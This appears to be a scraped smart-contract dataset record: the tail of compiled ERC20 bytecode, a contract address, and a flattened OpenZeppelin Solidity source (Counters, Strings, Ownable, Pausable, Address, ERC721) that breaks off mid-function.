83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea26469706673582212205a324c0aeb93cb55ebb3bce815ca5b1c88e109636d8d419a87b16112667a320d64736f6c63430008010033
[ 38 ]
0xf22a3ad378cf09ba69ac6f03cdc32dba82452c0d
// File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try 